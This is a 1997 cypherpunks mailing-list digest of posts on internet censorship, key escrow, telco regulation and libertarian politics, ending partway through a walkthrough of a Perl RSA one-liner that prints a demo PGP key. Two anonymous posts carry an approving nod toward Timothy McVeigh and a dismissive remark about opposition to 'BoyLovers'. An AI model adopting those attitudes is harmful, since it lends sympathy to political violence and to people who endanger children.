 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCUAwUBM+GAjL04kQrCC2kFAQFWYgP4zjFksiIN3VGn7TMozZYvfUM2EFLbCK6a
hMz73MPptUAiV0baxNV806tcYGRyjjp4OuipgrZYdAflk9iv29zMb+JVYk9cmpHg
EKHq0VtqjKcqpFPLJy1bcEGUCkUblqmdh28I8TnwVTnmmMB+3s87GQjJWWjsDL9q
5QnTMzalfg==
=fM7N
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 1 Aug 1997 22:30:28 +0800
To: cypherpunks@toad.com
Subject: Letter to AOL on "proposed censorship summit with radical right" (fwd)
Message-ID: <Pine.GSO.3.95.970801071645.488D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 1 Aug 1997 07:16:14 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Letter to AOL on "proposed censorship summit with radical right"



---------- Forwarded message ----------
Date: Fri, 1 Aug 1997 10:09:12 -0400 (EDT)
From: WildcatPrs@aol.com
To: declanmccullagh <declan@well.com>
Subject: Fwd: Your Proposed Censorship Summit with Radical Right Leaders

---------------------
Forwarded message:
Subj:    Your Proposed Censorship Summit with Radical Right Leaders
Date:    97-07-31 11:43:06 EDT
From:    WildcatPrs
To:      Steve Case

Dear Steve Case,

As one of the plaintiffs in the ACLU/ALA case on the CDA, who saw it through
all the way to the Supreme Court, I am shocked and dismayed that you would
dignify the demands of the Christian Coalition et al by sitting down with
them in such a summit.

You know and I know that America Online will leave that negotiating table
having made major concessions on the subject of Internet censorship -- not
only for content on gay and lesbian and AIDS, but also women's issues and
many other subjects.   The religious right have a very long list of subjects
that they would like to censor out of U.S. libraries, schools and
media...which you will discover if you take the trouble to read BANNED BOOKS,
published each year by the ALA.

Get a clue, Mr. Case  This battle over "content" is not really about "child
pornography."  It is a thinly veiled disguise for the radical right's efforts
to impose its total belief and its proposed penal system on the people of the
United States.  It wants to have the United States be like the Colony of
Massachusetts before the Revolution.  I suggest you read some history, and
ponder whether you would have liked living under the religious dictatorship
that ran the colony.

Between 1962 and 1972, I lived in Spain as a working journalist for the
Reader's Digest, working out of its office in Madrid, and I saw in operation
just the kind of right-wing censorship system that the Christian Coalition et
al would like to impose on this country.  Part of its success involved just
the kind of "self-censorship" that you are now proposing to slap on your own
company.  You are no different than the Spanish book publishers who sat down
with the Catholic Church and agreed on what could be published.   As a
result, Spanish culture languished.  The Spanish people reached the point
where they had lots of jokes about self-censorship and didn't take their own
media or culture seriously.   It all came to an end in 1975, when Franco
died, and the Spanish people were so sick of church and censors that the new
government moved to end the hegemony of the Spanish Catholic Church and put
an end to censorship.

So shame on you for moving to introduce this kind of censorship to the United
States of America.   I have been a loyal customer of AOL since I got onto the
Internet two years ago, and I will take my business elsewhere if you go
through with this summit.

Sincerely,
Patricia Nell Warren

Wildcat Press
8306 Wilshire Blvd. Box 8306
Beverly Hills, CA 90211
213/966-2466
213/966-2467 fax







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Fri, 1 Aug 1997 21:49:11 +0800
To: cypherpunks@toad.com
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707311540.RAA01345@basement.replay.com>
Message-ID: <33E1E37A.765@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> 
> James Love wrote:
> 
> >    On your other point, I really don't agree that is morally wrong to
> >take steps to prevent children from having access to pornography.
> >People may propose ways of doing this which are objectionable, but the
> >basic goal is hardly immoral.  Indeed, many think it is immoral not to
> >protect children.
> 
> Yes, yes...one man's morality is another's immorality.  Each of them thinks
> of himself as "being in the right" and sees the others as wrong or even
> "evil"  (witness the anti-BoyLover zealotry).  Different subjects but the
> same bullshit.  See the futility of it yet, Jamie?

Agreed.  Every religion and culture has a different set of standards and
values that it's people use to judge others by.  We will always piss off
someone.
 
> If parents find pornography objectionable for their children, then they
> must take ultimate responsibility to keep pornography away from their kids.
>  If they are not willing to do this, then they should not have had the
> children in the first place.  It's up to them to take care of their kids.
> Not you, not me, not the government, and not some "voluntary" ratings
> system.

I don't think I have seen this said better anywhere.

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 1 Aug 1997 13:44:40 +0800
To: cypherpunks@toad.com
Subject: Attila T. Spammer / Re: Denning questions/reverses her position?
Message-ID: <199708010531.HAA23603@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Attila T. Hun wrote: 
>     I'm too old for this!  I never thought I would see the day that
>     Dorothy Denning would terminate her star role as a shill for the
>     Clinton/LEA encryption ban!

  As a matter of fact, the mere thought of this happening has caused
Attila to go into a state of "brain-lock" wherein he sits at his
keyboard, sending the same message, over and over again, to the list.
  It will be interesting to see what happens to Attila's brain if
Clinton ever vetos a bill because it subverts the Constitution.

  BTW, Dorothy Denning's new spokesperson is a flying pig, and the
Weather Network reports that Hell froze over shortly before Denning's
new position statement.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 1 Aug 1997 13:48:51 +0800
To: cypherpunks@toad.com
Subject: Re: "Telco Terrorism" -- Wired on Baby Bells v. the Net
Message-ID: <199708010535.HAA23978@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> Telco Terrorism
> By Declan McCullagh (declan@well.com)

> Right now, the telcos have no financial incentive to
> promote speedier, more efficient technologies - and
> when they've tried, they've blown it through a
> combination of high prices and notoriously bad
> customer service and support. Take ISDN, a digital
> technology that has been ready-to-arrive for 25 years
> but never quite did. "The problem isn't technology,"
> according to James Love, an economist at the Ralph
> Nader-sponsored Consumer Project on Technology. "It's
> monopoly pricing by the telcos."

   If the telcos don't want to use efficient, effective technology
to render service to their customers, then I certainly wouldn't
want to *force* them to do so. However, neither do I want to be
*forced* to pay exhorbitant rates because the telecos want to
maintain a sloppily run monopoly on the services I have to choose
from.

> The telcos' solution: the FCC must let them levy
> per-minute access charges to raise the hundreds of
> millions of dollars a year needed to keep the phone
> system from crashing.

  My solution? (Thanks for asking. :>)
  If the telecos wish to remain in the Dark Ages, then let *their*
phone system crash. There will be no shortage of people standing
in line to make money by supplying customers with phone service at
competitive rates.
 
> "The Effect of Internet Use on the Nation's Telephone
> Network," blasted telco assumptions and pointed out
> their hypocrisy: the Baby Bells whine that flat-rate
> Internet services are congesting phone lines even as
> many of them are peddling flat-rate Internet access
> themselves. Some have actually given it away - 

  The old "loss-leader" promotion to get everyone into your
store. The telecos, however, then want to lock the doors and
petition the government for monopoly pricing, instead of letting
the "customers" shop across the street, instead.

> "It doesn't have to be a large charge," Bell
> Atlantic's Ed Young now says. "It can be something of
> the magnitude of a penny a minute, or even less. But
> it has to be something."

  "...so that we can raise the rates outrageously in the future."
 
> As a rule, Washington's
> bureaucrats are not power-crazed authoritarians; most
> are reactive creatures who simply respond to
> demonstrations of influence and power. 

  Translation~:~ They are usually manipulated by the most powerful
and influential of the power-crazed authoritarians.

> The high tech
> community responded by forming its own ad hoc
> coalition to pressure the FCC, and thousands of
> Internet users chimed in to express their collective
> dismay. Of course, the best way to win not just the
> battle but the war may be to remove the commission's
> power to regulate the Net altogether. Still, so far
> the real threat to netizens has come from complacent
> telcos and their legions of starched-collar lobbyists,
> not the FCC. The distinction is important, because the
> old rule of thumb still holds true: The enemy of our
> enemy may occasionally prove to be our friend.

  As long as everyone has Guns & Roses (with sharp thorns).
Say what you want about Timothy McVeigh, but if the government
launches another Waco atrocity in the near future, the citizens
will be paying much closer attention to the way it is handled.
  The attempt to control the InterNet is yet another attempt to
disarm the citizens. They are trying to get us to "voluntarily"
turn in our electronic weapons, such as crypto.
  "They will take my crypto when they pry it from my cold, dead
algorithms."

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Avery <cavery@ccnet.com>
Date: Fri, 1 Aug 1997 23:48:46 +0800
To: "'Cypherpunks'" <cypherpunks@toad.com>
Subject: One effort for Internet Privacy
Message-ID: <01BC9E55.F7C62CE0@h97-128.ccnet.com>
MIME-Version: 1.0
Content-Type: text/plain



On a lark, I dashed off a "letter to the editor" of the San Francisco Chronicle, quoted below, lo and behold it got published today.  You will see I simplified and softened the message somewhat -- a little spin for the good guys never hurt:  (published as lead letter, nice headline)

"HOW FAR SHALL WE LET THE EAVESDROPPERS GO?"

Editor -- Washington wants the right to "wire-tap" private communications on the Internet, and the issue is now being debated in Congress. I'm not raising the "content" issue, which can be handled by screening software or by ratings; this is instead the issue of privacy in person-to-person communications.

The rationale for the bills before Congress is law enforcement, giving officials new methods to detect criminal activity.  All well and good, but is it really wise to grant the bureaucracy access into this vital channel of personal communications before we fully understand its potentials?  How far shall we let the eavesdroppers go?  Beware, these aren't casual issues --- your rights are in danger.

CHRIS AVERY
Oakland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 1 Aug 1997 22:37:56 +0800
To: cypherpunks@toad.com
Subject: Re: Attila T. Spammer / Re: Denning questions/reverses her position?
In-Reply-To: <199708010531.HAA23603@basement.replay.com>
Message-ID: <9seRae2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

> Attila T. Hun wrote:
> >     I'm too old for this!  I never thought I would see the day that
> >     Dorothy Denning would terminate her star role as a shill for the
> >     Clinton/LEA encryption ban!
>
>   As a matter of fact, the mere thought of this happening has caused
> Attila to go into a state of "brain-lock" wherein he sits at his
> keyboard, sending the same message, over and over again, to the list.
>   It will be interesting to see what happens to Attila's brain if
> Clinton ever vetos a bill because it subverts the Constitution.

A mail glitch.  Big deal.  :-)

>   BTW, Dorothy Denning's new spokesperson is a flying pig, and the
> Weather Network reports that Hell froze over shortly before Denning's
> new position statement.


Come on now.  Dr. Denning is a VERY smart woman and I'm glad that she
eventually came to see the evils of GAK (key escrow by gov't).

I'm pretty sure she still supports the right of a corporation to
tell the users of corporate systems not to have anything on those
systems that the corporation can't decrypt.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 1 Aug 1997 22:39:00 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free   download)
In-Reply-To: <Pine.LNX.3.93.970801134915.363A-100000@shirley>
Message-ID: <41eRae3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> On Thu, 31 Jul 1997, Bill Stewart wrote:
>
> [...MMF...]
>
> > though I'm sure that to some extent it's because people started
> > complaining to the Post Office that they were receiving junk mail,
>
> The MMF ban came about when its volume rose to a point where it crashed
> californaia's snail mail system.

Not true.  Urban legend.

(Not did the Cantor & Siegel spam cut Australia off of Usenet.  The cancels
forged for their spam did.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Fri, 1 Aug 1997 16:31:28 +0800
To: cryptography@c2.net
Subject: Microsoft RAS encryption?
Message-ID: <3.0.3.32.19970801101506.0092b420@localhost>
MIME-Version: 1.0
Content-Type: text/plain




Does anybody know how Microsoft RAS implements data encryption? Apparently
(http://www.microsoft.com/kb/articles/q136/6/34.htm) they use RC4, but is
this stuff documented somewhere, like in an RFC?


Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 1 Aug 1997 23:40:28 +0800
To: cypherpunks@ssz.com
Subject: Re: Attila T. Spammer / Re: Denning questions/reverses her position? (fwd)
Message-ID: <199708011527.KAA26326@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Attila T. Spammer / Re: Denning questions/reverses her position?
> From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> Date: Fri, 01 Aug 97 09:18:19 EDT

> I'm pretty sure she still supports the right of a corporation to
> tell the users of corporate systems not to have anything on those
> systems that the corporation can't decrypt.

And why wouldn't you? Let's look at this a moment.

1.   Business, irrespective of size, is not equivalent to the government
     and specificaly isn't mentioned in the Constitution at all so we
     are reasonably safe they are exempt from federal compliance with its
     requirements outside that detailed for citizens and regarding
     inter-state or international trade.

2.   The relationship between employer and employee is one based on a
     contract.

3.   Neither party is forced beyond their own needs and desires to sign
     the contract.

4.   Each party is aware of the contents of the contract before they
     sign it, or at least is given the opportunity to be made aware.
     If somebody wants to sign a contract with no knowledge of its
     contents, so be it.

5.   Who owns the computers? The business does clearly. Now a commen
     proviso on ownership is that the final decision, or the transfer
     of that decision, is up to the business. Just as it is ultimately
     up to you who gets to drive your car.

6.   Most provisions of employment contain the proviso that the time
     you agree to work for that employer is to be spent on dealing with
     the employers needs and not the employees. This is after all at least
     one of the reasons behind using time off and floating holidays and
     such.

7.   Provided the employee is aware of this policy at the time of
     signing OR is given a reasonable warning period before a shift of
     policy after hiring then the employee has no grounds to complain.


Myself, I always ask my immediate supervisor for a description of company
policy on this. I also always ask if they have an objection to me using
the company system to log into my home system during lunch and other
'off-clock' hours. So far I have never been refused.

Short answer to this, use your own resources for your own use and don't
use other peoples resources to carry on your own activities unless you offer
them a cut of the profit.

Ultimately this isn't even a question of contracts but of simple plain ol'
every-day manners.

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 1 Aug 1997 22:48:39 +0800
To: "Attila T. Hun" <attila@hun.attila.org>
Subject: Re: OverRun Msgs Re: Denning questions/reverses her position?
In-Reply-To: <199708010622.AAA19605@infowest.com>
Message-ID: <Pine.SUN.3.96.970801103912.28282D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




Sounds like Dorothy's Revenge to me.  (i.e. a case of the email shits. :)
Heheh. :)

On Fri, 1 Aug 1997, Attila T. Hun wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> on or about 970731:2245 it was expostulated:
> 
> +::
> +Anon-To: cypherpunks@toad.com
> 
> +Attila T. Hun wrote: 
> +>     I'm too old for this!  I never thought I would see the day that
> +>     Dorothy Denning would terminate her star role as a shill for the
> +>     Clinton/LEA encryption ban!
> 
> +  As a matter of fact, the mere thought of this happening has caused
> +Attila to go into a state of "brain-lock" wherein he sits at his
> +keyboard, sending the same message, over and over again, to the list.
> +  It will be interesting to see what happens to Attila's brain if
> +Clinton ever vetos a bill because it subverts the Constitution.
> 
> +  BTW, Dorothy Denning's new spokesperson is a flying pig, and the
> +Weather Network reports that Hell froze over shortly before Denning's
> +new position statement.
> 
> +TruthMonger
> 
>     dunno why the message was repeated at cyberpass --each of the 55
>     copies I received as of 20 minutes ago has exactly the same header
>     date from cyberpass.  that and one of them smoked the primary
>     mailbox with a couple hundred null characters.  hun.attila.org
>     was offline so it could not have generated the extra messages --so
>     where did they loop?  only the shadow knows. If it is something
>     by remote SMPT added on, I apologize for the inconvenience.
> 
>     the image of my brain in "brain-lock" is apt enough for the reaction;
>     as for the flying pig and Hell freezes over --that too. Denning is
>     still Denning, and maybe she's just angling for more shill money 
>     before she gets back on the track.
> 
>     yes, if Clinton ever vetos a bill just because it violats the 
>     Constitution, I probably would be gone....


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Sat, 2 Aug 1997 02:30:06 +0800
To: Michael.Johnson@mejl.com (Mike)
Subject: Re: Microsoft RAS encryption?
In-Reply-To: <3.0.3.32.19970801101506.0092b420@localhost>
Message-ID: <199708011755.KAA11466@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain



	See www.l0pht.com


> 
> Does anybody know how Microsoft RAS implements data encryption? Apparently
> (http://www.microsoft.com/kb/articles/q136/6/34.htm) they use RC4, but is
> this stuff documented somewhere, like in an RFC?
> 
> 
> Mike.
> 


-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 1 Aug 1997 18:49:58 +0800
To: kent@songbird.com
Subject: Re: free market services vs monopoly government
In-Reply-To: <19970731182720.53925@bywater.songbird.com>
Message-ID: <199708011032.LAA01054@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin <kent@songbird.com> writes:
> On Thu, Jul 31, 1997 at 09:59:37PM +0100, Adam Back wrote:
> > Kent you seem to harbor the belief that government monopoly is a good
> > thing, or at least that government is somehow an unavoidable necessary
> > evil.
> 
> Adam, in all honesty I don't think of it like that at all. 
> "Government" to me is a completely neutral abstract term, like
> "organization", or "society".  

Isn't that a bit humpty dumpty words mean what I say they mean-ish?
Clearly my use of the word government above is intended to mean your
or my government.  If I was in the US I might have used the term USG,
but as I'm not I generalised to governments, meaning existing
governments of countries.  Government has other dictionary meanings.

> Consequently, a statement like "Government is always bad" is ipso
> facto a shallow generalization, and my natural reaction is to point
> out that sometimes government is good.

I'll admit there are situations where a government may make a good
decision, or handle a situation not too badly, or not that
restrictively.  Such situations are quite rare though, aren't they :-)

> Since the poor brainwashed souls on cypherpunks uniformly spout the
> "Government is bad" party line, the result is that comes out looking
> like I think government is good.  But that is an incorrect
> impression.  Government, as a general abstract term, is neither bad
> or good.

All words are neutral as abstract terms, it's only when you consider
the semantics of your intended meaning in using them in given contexts
that they become other than abstract.

Nuclear bomb is an neutral term.

> [Note: While "government" in general is a completely neutral term,
> particular governments may be better or worse in various dimensions,
> of course.  But it is never a black or white thing.  

Didn't say otherwise.  I gave the example of the ex Soviet Union as a
worse, more restrictive government than either US or UK government in
the post you are replying to.

> I don't think of government as a "necessary evil", either.  Rather,
> I think that a government of some kind is an inevitable outgrowth of
> human nature.  I think this for three compelling reasons: first, it is
> obversationally true -- there are essentially no human beings who live
> without a government of some kind; second, because it is in agreement
> with all my observations and knowledge of human nature; and third,
> because it makes sense to me as the rational consequence of the
> existence of force as an interpersonal interaction. 

As a general rule: less government intervention is more efficient than
more.  This is because the free market is better at meeting people's
demands in a tailored fashion than any socialist/communist planned
economy handed down by a few big-wigs.

Are you against privatisation?  Are you against deregulation?

I suppose you'd like to unreform the US telco's and put it back into
one huge monopoly charging monopoly rates?  Clearly US telco's have a
long way to go in terms of having a free competitive arena with FCC
intervention, but surely you aren't denying the improved efficiency
the deregulation you have had has produced.

It's not black or white.  (Where did I read that sentence, hmmm).

In the UK we have a socialist state.  Government provides a huge
social security system.  They have cut back on it a bit in the last 20
years, but it's still a disgrace the way money is wasted.
Nationalised medical care, all out of your tax bill.  No wonder the
tax rate is > 50% effective.  Some scandinavian countries are up in
the 60 and 70% effective tax range.

Would you like some of that in the US?  At least you currently have
mostly privatised medical care.

My point is really that the more market freedom, more deregulation,
less government intervention, less attempts to influence the market
the better off we'll all be.

Do you think it would be a good thing if the government started taxing
Internet usage?

> In fact, of course, the US generates a great deal of wealth for its
> citizens, who are among the best off and most productive of any nation
> on earth.  Of course it could be better, but it could be a whole lot
> worse.  To say that the form of government had nothing to do with that
> *success* is intellectually dishonest -- one can just as easily argue
> that things are good in the US largely *because* we have a relatively
> good government. 

Jeez, just imagine how much better off you could be without all the
government crapola.

> > The success that a country does enjoy is pretty much proportional to
> > the degree of market freedom.  Luckily for us our governments have
> > left a bit of freedom in markets, or we would have food shortages, and
> > rationing.
> 
> Oh, "luckily".  No possibility that there was intelligence involved,
> eh?

Maybe a bit of self-interest :-) Eg if the cancerous growth stifles
too much trade, it might get less tax revenues.  I view Clinton's
recent "hands off" approach to the internet in this light, if he
actually means anything concrete by it.

> [...]
> > Governments tend to grow, and soak up larger tax percentages, and
> > encroach into more aspects of life which were previously a question of
> > free choice, or were previously purely market driven.  The reason for
> > this growth is due to the government as an entity unconciously
> > promoting itself as an organism.  A great huge cancerous growth which
> > has us by the jugular.
> 
> "Governments" is the wrong term here.  A more correct term would be 
> "bureaucracies."   The growth you describe is endemic to any large 
> human organization.  Large corporations go through very similar 
> cycles.  Charities, churches, clubs -- it happens everywhere.  

Governments too.  ie what I said was true for governments so why
contest the fact?  So there are other systems it is true for, so what?
I didn't say there weren't.

> > A good start would be a choice in government, to generate some
> > competition.  So you can buy membership in a protection racket, hire
> > the services of a private security firm, or buy insurance from an
> > insurance group because of its benefits package, or go elsewhere if
> > the offering sucks.  You choose on an individual basis what package
> > best suits you, and you choose the service providers who you consider
> > as the best value for money.
> 
> This is a pure pipe dream, a utopian fantasy for libertarians.  I 
> could say "a good start would be for everyone to love one another" -- 
> it would be just as real.

OK, lets start with deregulation, and privatisation of everything that
it is immediately possible to arrange.  Not so radical is it?

You aren't going to get a purely market based economy with no
government intervention over night, clearly.

> > eg. I can go buy into Uncle Enzo's pizza delivery and protection
> > racket because the protection is 5000% better value for money than the
> > Feds deal.
> 
> How do you get out from Uncle Enzo's protection racket when things go 
> sour, if Uncle Enzo doesn't allow his customers to leave, or even to 
> say anything bad about him?

Sounds remarkably similar to the current situation doesn't it?

Anyway you just buy into Mr Lee's New Hong Kong protection racket, and
Uncle Enzo will respect Mr Lee's fire-power enough to consider it not
worth the effort of picking on small fry like you.

> You are describing pure speculative fantasy, and it is pointless to
> argue the details of your speculation.  All I can do is point out that
> it *is* a speculative fantasy, and challenge you to produce something
> meaningfully concrete.  Show me a real living example of such a
> society in operation.  

It's not black and white.  It's not all or nothing.  We can start with
less government, before it shrivels up to close to zero.

> If such an excellent society existed then surely people would flock
> to it in droves.  Or is it like communism -- we have to have the
> whole world under control before the dictatorship of the proletariat
> withers away, and the glorious new world order flowers?

Cultural and societal change have happened in the past.  I guess
you've read of the feudal systems.  Well society's structure has
changed.  If you lived in feudal systems, you'd be one of the serfs
happy with his lot tithing to the lord of the manor, and to the fat
church, and being left with barely enough to eat.

Clearly presures exist today where people would like to move to
different regimes.  People are real keen to get out of less free
governments into freer ones.  I won't bother with examples, anyone can
come up with those.

See anything wrong with making a currently relatively free government
into an even less restrictive government?

> No, I think that average people have much more sense than you give
> them credit for, and that the egotism of people who are bright
> technically frequently blinds them to their shallow understanding of
> other areas.  I have seen very bright people caught up in all sorts of
> insane ideas.  

Tell me, are the following insane ideas:

	- privatisation
	- deregulation
	- devolution of government power to smaller power bases
	- lower taxes
	- fewer politicians
	- reduced social security system 
	- cancel the war on drugs

> The best example I know is the weapons physicist, a brilliant and
> clever thinker, who is a member of a fundamentalist Christian group.
> He predicted the second coming on a particular day, and announced it
> to the press, with a statement to the effect that he had set off
> bombs at the Nevada test site with less intellectual certainty than
> his prediction.  I'm sure he is now back reading the the Bible and
> other texts, and trying to figure out what went wrong.

That suggests to me that he is slightly cracked, as well as being a
inventive physicist.

> I admire his conviction, his tenacity, but not his grip on reality. 

Yup, cracked.

> > Free choice makes for much more efficiency in terms of economics, and
> > in terms of individuals happiness.
> 
> Sure.  So what.  The issue is what *real* can be done.  Utopian 
> fantasies don't do it.

Work towards the principle that free markets are more efficient than
state monopolies.

> > Here's a reading list for those interested in disbanding government
> > and replacing it with services purchased on the free market:
> [...]
> 
> Hmm.  You base your philosophy on a couple of science fiction novels,
> "The Machinery of Freedom", Adam Smith, and Hayek? Some years ago I
> read Nozick and Rand, because I thought there might be something to
> libertarian philosophy.  I also read parts of "Machinery of Freedom"
> -- a better title, I think, would be "Intellectual Tinkertoys of
> Freedom" -- and something by Boas, and a couple other things that fade
> from my memory.  I conclude that these books are libertarian
> scripture, and function like that physicists bible.  

Adam Smith is a pretty sound pure market economics text.  If you can
refute any of it's claims, which are in the main logical, or
mathematical readily observable truisms, I'd be interested to hear
your arguments.

Hayek just points out the clearly observable trends with Socialism.
If you can't see much of what he was saying back in 1944 replayed
before your eyes in the US, you've got your eyes closed.

Rand is a somewhere between the two, lots of negative things to say
about socialism, and also lots to say about free market.

> Adam, I admire your conviction, I respect your technical expertise a
> lot, but we have a different view of reality.  We will just have to
> differ on that. 

Heh, I said I wouldn't convince you.

[I took the perl rsa usage to a new post]

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 1 Aug 1997 18:47:16 +0800
To: cypherpunks@cyberpass.net
Subject: using perl-rsa
Message-ID: <199708011035.LAA01061@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




[managed to type kent instead of keng this time, touch typist and not
watching the screen either].

Kent Crispin <kent@songbird.com> writes:
> [...]
> 
> >print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
> >)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`
> 
> BTW, how do you use this code?  I'm not a big "dc" user, I must admit.

You first of all extract your a PGP key with pgpacket.  (You'll need
to change the password to be no password (press enter when prompted
for password), so that PGP doesn't encrypt the private key.

Next, you can do:

	% perl rsa.pl [e] [n] < plaintext > ciphertext
	% perl rsa.pl [d] [n] < plaintext > ciphertext

to encrypt and decrypt.

Here's a small example (Fred is a notional eternity user who's key,
both public and private is included in the eternity distribution):

Fred's public key:

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i

mQBNAzPfUPsAAAECAMn6jtL3ZNjmBrkDLIktHNmBGc+a59BSvFPN8howj5zAj1U8
5QOfVtV4kOliK2AkCcL2yyz3Wz+AHiYdVyuQJF0ABRG0FEZyZWQgPGZyZWRAZXRl
cm5pdHk+iQBVAwUQM99Q/B4mHVcrkCRdAQECQQH/YZqss3VQZwZi5KfylAzFOnz8
/pXOSh8Rf9pTsF2TbsAKIK4xL9PzYoicy/KAZdIN+AJO8dX/xY0a1v5A8xobeg==
=iWoN
-----END PGP PUBLIC KEY BLOCK-----

Fred's secret key (no password):

-----BEGIN PGP SECRET KEY BLOCK-----
Version: 2.6.3i

lQD4AzPfUPsAAAECAMn6jtL3ZNjmBrkDLIktHNmBGc+a59BSvFPN8howj5zAj1U8
5QOfVtV4kOliK2AkCcL2yyz3Wz+AHiYdVyuQJF0ABREAAfsEPkWwiGybJRn00/dB
RLZjOZHAmMRVDH6UC9si+GpHDsOs5/eLbK6GUqmbWXG4I4LadxRQz/nplQ+lCVYP
ecrbAQDixLjtXlj9ks1e9ZcroU71Pvk84oQjpUhiU1rAIkKh9wEA5APIvVJETEjm
DxEpdE6hJkty+nb6v8VNOYlslo8Ol0sA/iwRycjjcNs4A2c9Owt+xLCiMp2JIb0z
yf7d4xEcLI1vUXG0FEZyZWQgPGZyZWRAZXRlcm5pdHk+
=CHwS
-----END PGP SECRET KEY BLOCK-----

(to extract public key do:

% pgp -kxa fred fredpub ~/.pgp/pubring.pgp 

and to get private key do:

% pgp -kxa fred fredpri ~/.pgp/secring.pgp 

)

Next get pgpacket.pl, see ftp://ftp.ox.ac.uk/pub/crypto/pgp/utils/ or
something like that.

Then run pgpacket on the fredpri.asc (it contains all the info that
you want, without looking at fredpub.asc, ie the values for e, d and
n):

% pgpacket fredpri.asc

The values for e, d, and n are:

e = 11
d = 043E45B0886C9B2519F4D3F74144B6633991C098C4550C7E940BDB22F86A470E
    C3ACE7F78B6CAE8652A99B5971B82382DA771450CFF9E9950FA509560F79CADB
n = C9FA8ED2F764D8E606B9032C892D1CD98119CF9AE7D052BC53CDF21A308F9CC0
    8F553CE5039F56D57890E9622B602409C2F6CB2CF75B3F801E261D572B90245D

Now you can encrypt for fred like so:

